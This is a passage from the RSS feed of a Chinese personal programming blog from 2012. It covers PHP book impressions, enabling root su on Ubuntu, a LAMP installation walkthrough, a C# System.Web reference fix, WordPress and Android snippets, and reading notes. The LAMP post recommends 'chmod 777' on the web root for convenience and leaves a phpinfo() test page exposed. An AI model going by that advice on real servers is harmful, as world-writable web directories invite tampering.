&lt;p&gt;　　不过。对我还是有很大收获的。因为看了这本书就发现head first的书确实是入门书。讲的比较浅。（但非常重要），一些框架。模板。类在这里面都有讨论。需要花些时间搞清楚。我已经记下来了。稍后准备阅读一下这些主题，&lt;/p&gt;
&lt;p&gt;　　中午还用了一个多小时看完了《细说PHP》，不便于多说什么。。和《PHP和MySQL程序设计》的区别就是&lt;span style=&#34;color: #ff0000;&#34;&gt;代码没有执行结果&lt;/span&gt;。讲的倒还算清楚。因为我看这本书不仔细。只是捡自己不会的去看。所以对本书评价不是太高。相比前一本书。&lt;span style=&#34;color: #ff0000;&#34;&gt;这本书列的函数没那么多&lt;/span&gt;。都是比较实用的。。这点很好。但是看豆瓣和亚马逊到评分倒还挺高的。。令我情何以堪啊。
　　一会把一点知识点贴上来。记录一下今日的收获吧。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>ubuntu终端su认证失败解决</title>
      <link>http://blog.leaver.me/2012/04/15/ubuntu%E7%BB%88%E7%AB%AFsu%E8%AE%A4%E8%AF%81%E5%A4%B1%E8%B4%A5%E8%A7%A3%E5%86%B3/</link>
      <pubDate>Sun, 15 Apr 2012 18:09:10 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/15/ubuntu%E7%BB%88%E7%AB%AFsu%E8%AE%A4%E8%AF%81%E5%A4%B1%E8%B4%A5%E8%A7%A3%E5%86%B3/</guid>
      <description>&lt;p&gt;　　这个以前碰到过。不过今天又遇到了。记录一下。Ubuntu 安装后，root用户默认被锁定，不允许登录，也不允许“su”到 root。对于开发人员来说貌似有些麻烦了。。&lt;/p&gt;
&lt;p&gt;　　解决方法：打开终端。输入&lt;pre lang=&#34;php&#34;&gt;sudo passwd &lt;/pre&gt;回车，然后输入安装ubuntu时设置的密码。回车后要求输入新密码。新密码可以和安装时的密码相同。所以继续输吧。然后确认一次。就可以了&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20548_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5db34965eb544ff3fdbab59aafcc13ec0cee0e19.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后正常su root 就可以切换到root了&lt;/p&gt;</description>
    </item>
    <item>
      <title>lamp开发环境简单搭建</title>
      <link>http://blog.leaver.me/2012/04/15/lamp%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E7%AE%80%E5%8D%95%E6%90%AD%E5%BB%BA/</link>
      <pubDate>Sun, 15 Apr 2012 17:54:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/15/lamp%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E7%AE%80%E5%8D%95%E6%90%AD%E5%BB%BA/</guid>
      <description>&lt;p&gt;　　因为一些事情，要去学习php开发。所以呢。今天就先搭建一下php开发环境，其实windows下搭建相对比较简单，也有一键安装包。比如&lt;a href=&#34;http://www.appservnetwork.com/&#34;&gt;AppServ&lt;/a&gt;，但是因为考虑到以后的一些事情，于是还是采用LAMP开发环境。&lt;/p&gt;
&lt;p&gt;　　我是用Ubuntu来做，本地刚好有Ubuntu的镜像。。虚拟里面来测试。首先就是在虚拟机里安装Ubuntu。这个不多说。大家都会。安装好以后。登陆进来。命令行或是图形界面都可以。&lt;/p&gt;
&lt;p&gt;　　新版本的Ubuntu貌似是没了新立得管理器。所以使用命令来安装更简单。打开终端。切换到root。如果不能切换到root。&lt;a href=&#34;http://leaver.me/archives/205.html&#34;&gt;参考此文&lt;/a&gt;。切换到root后。输入&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;apt-get install apache2 mysql-server mysql-client php5 php5-gd php5-mysql&lt;/pre&gt;
&lt;p&gt;　　回车后就开始自动下载了。大概几分钟后就会出现MySql的安装设置界面&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20538_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　输入你想设置的mysql的登录密码。然后需要再输入一遍&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20539_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
ok。等会就安装完成了。。就这么简单。。
然后进行一些后续的设置&lt;/p&gt;
&lt;p&gt;　　默认网站的目录在/usr/www.这个目录的权限如下图。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20541_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　为了以后方便。设置为777会更好一些。。执行如下命令：&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;sudo chmod 777 /var/www &lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20542_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　然后是启用 apache的 mod_rewrite 模块
输入如下命令：&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;sudo a2enmod rewrite&lt;/pre&gt;
&lt;p&gt;　　然后继续输入如下命令来重启 Apache服务器：&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;sudo /etc/init.d/apache2 restart&lt;/pre&gt;
&lt;p&gt;　　Apache重启后我们可以测试一下，在 /var/www目录下新建文件 test.php，写入代码： &lt;pre lang=&#34;php&#34;&gt; &lt;?php phpinfo(); ?&gt; &lt;/pre&gt;保存，在地址栏输入 http://127.0.0.1/test.php 或 http://localhost/test.php ，如果正确出现了如下 php 配置信息则表明 LAMP Apache已经正常工作了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20543_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　还可以测试一下mysql是否正常。这个直接在终端下输入&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;mysql -u root -p&lt;/pre&gt;
&lt;p&gt;　　然后根据提示输入密码就出现如下的图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20544_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　表示已经登录到mysql了。说明mysql可以了。可以继续输入 &lt;pre lang=&#34;php&#34;&gt;show databases;&lt;/pre&gt;来显示所有的数据库。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20547_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考文章：&lt;a href=&#34;http://blog.csdn.net/xiaojianpitt/article/details/6326834&#34;&gt;http://blog.csdn.net/xiaojianpitt/article/details/6326834&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>System.Web中不存在类型或命名空间名称UI解决</title>
      <link>http://blog.leaver.me/2012/04/13/system.web%E4%B8%AD%E4%B8%8D%E5%AD%98%E5%9C%A8%E7%B1%BB%E5%9E%8B%E6%88%96%E5%91%BD%E5%90%8D%E7%A9%BA%E9%97%B4%E5%90%8D%E7%A7%B0ui%E8%A7%A3%E5%86%B3/</link>
      <pubDate>Fri, 13 Apr 2012 16:52:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/13/system.web%E4%B8%AD%E4%B8%8D%E5%AD%98%E5%9C%A8%E7%B1%BB%E5%9E%8B%E6%88%96%E5%91%BD%E5%90%8D%E7%A9%BA%E9%97%B4%E5%90%8D%E7%A7%B0ui%E8%A7%A3%E5%86%B3/</guid>
      <description>&lt;p&gt;今天打算用C#写个模拟登录的程序。从类库里找到一个HTMLHelper的类。用来处理html的请求接收等处理。为了让类能够先运行起来，先把该类拖入解决方案，引用就不用添加了，因为该类没写命名空间，可以直接用，我测试其中一个最简单的函数&lt;/p&gt;
&lt;pre lang=&#34;C#&#34;&gt; private void btnGet_Click(object sender, EventArgs e)
        {
            txtContent.Text=HTMLHelper.Get_Http(&#34;http://leaver.me&#34;);
        }&lt;/pre&gt;
&lt;p&gt;获取我网站的首页源代码。到TextBox控件
编译，运行。出现如题错误。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20479_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/54e8c1e1dd772294c6666aa9a404276089188b20.png&#34;&gt;
&lt;/a&gt;
命名空间“System.Web”中不存在类型或命名空间名称“UI”。是否缺少程序集引用? E:\project\C#\GTest\GTest\HTMLHelper.cs
直接对着错误点右键，复制。然后删掉后面的路径。使关键字包括前面几个就行了，到Google中搜索。大部分人给的说明都是
原因是缺少System.web的引用，只要右键单击项目，添加引用就行了！
那咱就添加呗 对着工程点击引用-&amp;gt;添加引用&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20480_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a0a47e17fbab5a4472ba94d77e51f8d372c64121.png&#34;&gt;&lt;/a&gt;
悲剧发生了。。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20481_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/64261ab1e4ed043cf5aa5c973c324795405e4201.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;根本就没有该dll文件。。泪奔了。。于是Google之。。发现没有一个讲清楚的。都是夸夸其谈。。没有任何实质性方案。于是换英语搜。
关键字：Cannot add System.Web.dll reference
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20482_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d2f3cc95979d5c583471580599b36d269791eae4.png&#34;&gt;
&lt;/a&gt;
第一个是stackoverflow，大名鼎鼎的栈溢出啊。。进去看看。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;For people that cant find &amp;ldquo;System.Web&amp;rdquo; at .Net References, this might be the answer:&lt;/p&gt;
&lt;p&gt;&amp;ldquo;you need to right-click the project -&amp;gt; properties -&amp;gt; then change the &amp;ldquo;Target framework&amp;rdquo; which will probably be &amp;ldquo;.NET Framework 4 Client Profile&amp;rdquo; to just &amp;ldquo;.NET Framework 4&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;The answer was given by Tinister (thanks) as a reply to a previuos post. But I thought it was a little bit hidden at his original post. So i put it here to make it easer to be seen. Hope it helps.
大牛的我就不翻译了，很简单。项目-&amp;gt;项目属性-&amp;gt;目标框架 改成.net framework 4
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20483_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/457f4431088a7cb6b474f3d36cbc9ec738499ab1.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20484_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a7ba54a6e73b0b536554c04415d6a72d4cd89491.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个步骤完成后，重复前面的添加引用的步骤就会发现已经有了System.Web引用了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20487_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9379ef1ef5dba7bad0d039ce91ea9174d1610f65.png&#34;&gt;&lt;/a&gt;
编译运行。一切ok
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20485_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8e5ae5c835f250b1bceca5e8d3a8bda384df2bab.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果你遇到了这样的问题也可以试试吧。&lt;/p&gt;
&lt;p&gt;转自请注明：&lt;a href=&#34;http://leaver.me/archives/177.html&#34;&gt;http://leaver.me/archives/177.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>外部图片使用灯箱效果</title>
      <link>http://blog.leaver.me/2012/04/12/%E5%A4%96%E9%83%A8%E5%9B%BE%E7%89%87%E4%BD%BF%E7%94%A8%E7%81%AF%E7%AE%B1%E6%95%88%E6%9E%9C/</link>
      <pubDate>Thu, 12 Apr 2012 23:11:07 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/12/%E5%A4%96%E9%83%A8%E5%9B%BE%E7%89%87%E4%BD%BF%E7%94%A8%E7%81%AF%E7%AE%B1%E6%95%88%E6%9E%9C/</guid>
      <description>&lt;p&gt;　　我当前使用的这个主题如我前面所说，是支持灯箱效果的，如果你不知道什么是灯箱效果，点击文章中的图片就知道了，而我因为使用的是图床，主机提供的。和我的网站不在一个地方。。所以点击没反应。。想了想。其实很简单。。
　　那就是切换到HTML编辑页面，点击img按钮。。添加了一幅图片，然后把图片的标签选中，也就是整个img标签。包括开始和结束。然后，点击link按钮。给图片加上一个超链接。当然地址就写图片的地址了。这样点击图片的时候就会有灯箱效果了。。
效果点击下图即可&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20328_o.jpg&#34;&gt;&lt;img alt=&#34;灯箱效果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>andorid 实现拖动滑动效果</title>
      <link>http://blog.leaver.me/2012/04/12/andorid-%E5%AE%9E%E7%8E%B0%E6%8B%96%E5%8A%A8%E6%BB%91%E5%8A%A8%E6%95%88%E6%9E%9C/</link>
      <pubDate>Thu, 12 Apr 2012 11:05:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/12/andorid-%E5%AE%9E%E7%8E%B0%E6%8B%96%E5%8A%A8%E6%BB%91%E5%8A%A8%E6%95%88%E6%9E%9C/</guid>
      <description>&lt;p&gt;这个大家都有过体会，就是当你左右拖动的时候，能够做到向左向右翻页。代码我写了很详细的注释。包括xml的注释，所以就不怎么解释了。先测试下代码高亮能用不.我当前用的是&lt;strong&gt;WP-Syntax&lt;/strong&gt;插件。将就着还行吧。如果你知道更好的话。不妨给我推荐一下。&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt;package com.android.flip;

import android.app.Activity;
import android.os.Bundle;
import android.view.GestureDetector;
import android.view.MotionEvent;
import android.view.View;
import android.view.GestureDetector.OnGestureListener;
import android.view.animation.AnimationUtils;
import android.widget.ImageView;
import android.widget.ViewFlipper;

/**
 * Android实现左右滑动效果
 * @author byStander
 *
 */&lt;/pre&gt;</description>
    </item>
    <item>
      <title>wordpress使用NextGEN Gallery 图片展示重复解决</title>
      <link>http://blog.leaver.me/2012/04/12/wordpress%E4%BD%BF%E7%94%A8nextgen-gallery-%E5%9B%BE%E7%89%87%E5%B1%95%E7%A4%BA%E9%87%8D%E5%A4%8D%E8%A7%A3%E5%86%B3/</link>
      <pubDate>Thu, 12 Apr 2012 07:35:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/12/wordpress%E4%BD%BF%E7%94%A8nextgen-gallery-%E5%9B%BE%E7%89%87%E5%B1%95%E7%A4%BA%E9%87%8D%E5%A4%8D%E8%A7%A3%E5%86%B3/</guid>
      <description>&lt;p&gt;博客刚刚建立，找了一个比较漂亮的主题，白色的。也就是&lt;a href=&#34;http://devpress.com/shop/origin/&#34;&gt;Origin&lt;/a&gt;这个。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20340_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后呢。为了有一个好的图片展示效果，也就是我首页的相册页面。我使用了被大家广泛好评的NextGEN Gallery，在一切完成后，我发现浏览图片的时候会出现重复的效果&lt;/p&gt;</description>
    </item>
    <item>
      <title>拖延心理分析</title>
      <link>http://blog.leaver.me/2012/04/11/%E6%8B%96%E5%BB%B6%E5%BF%83%E7%90%86%E5%88%86%E6%9E%90/</link>
      <pubDate>Wed, 11 Apr 2012 12:12:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/11/%E6%8B%96%E5%BB%B6%E5%BF%83%E7%90%86%E5%88%86%E6%9E%90/</guid>
      <description>&lt;p&gt;拖延从根本上来说并不是一个时间管理方面的问题，也不是一个道德问题，而是一个复杂的心理问题。根本而言，拖延的问题是一个人跟自身如何相处的问题，它反映的是一个人在自尊上的问题。在我们的第一本书里，我们将它看做是一个人自我价值感方面的问题。我们强调，自我价值感是以一种自我接受的能力为基础的，其中包括接受我们的生理状况，接受我们的历史，接受我们的环境，以及接受我们作为人的诸多局限性. -摘录&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;background-color: #00ff00;&#34;&gt;一.拖延是什么 &lt;/span&gt;
拖，我懂，就是打死以后拉走的意思，延，我也懂。就是打死以后等会再拉走，那么，至于拖延，我想就不必多说了，主要分清拖延和延后处理的关系就行了，一个评判点就是看有没有让你感到烦恼。
&lt;span style=&#34;background-color: #00ff00;&#34;&gt;二，拖延的症状 &lt;/span&gt;
怎么知道自己是不是拖延患者呢。我们知道，行为是判断我们的最佳方法，如果你都懒的去想这个问题，认为还太早的话，那么你显然就是拖延的患者呢。请允许我用患者这个词，&lt;/p&gt;</description>
    </item>
    <item>
      <title>《代码整洁之道》读书笔记</title>
      <link>http://blog.leaver.me/2012/04/11/%E4%BB%A3%E7%A0%81%E6%95%B4%E6%B4%81%E4%B9%8B%E9%81%93%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Wed, 11 Apr 2012 11:18:23 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/11/%E4%BB%A3%E7%A0%81%E6%95%B4%E6%B4%81%E4%B9%8B%E9%81%93%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;div&gt;我们是一群代码猴子，上窜下跳，自以为领略了编程的真谛，可惜，当我们抓着几只酸桃子，得意洋洋坐到树枝上，却对自己造成的混乱熟视无睹，那堆“可以运行”的乱麻程序，就在我们的眼皮底下慢慢腐烂。
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;代码永存&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;勒布朗法则：稍后等于永不（later equals never）&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;一行修改，涉及到了数百个模块，为什么会发生，好代码变成糟糕的代码，不是愚蠢的经历，苛求的用户，而是我们自作自受，我们太不专业了。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;能分辨出整洁代码和肮脏代码，并不意味着你就能写出整洁的代码。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;漂亮的代码让编程语言就像是专门为解决那个问题而存在。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;命名的意义&lt;/div&gt;
&lt;div&gt;名副其实：如果名字竟然要注释来补充说明，那就不算名副其实。&lt;/div&gt;
&lt;div&gt;避免误导：不要使用过于相似，或者与程序员直觉相悖的命名。&lt;/div&gt;
&lt;div&gt;做有意义的区分。注释都是冗余，Variable一词永远不要出现在变量名中。&lt;/div&gt;
&lt;div&gt;使用读的出来的名称&lt;/div&gt;
&lt;div&gt;使用可搜索的名称。&lt;/div&gt;
&lt;div&gt;避免思维映射&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;名字长短应与其作用域大小相对应，单字母名称仅用于短方法中的本地变量。&lt;/div&gt;
&lt;div&gt;</description>
    </item>
  </channel>
</rss>
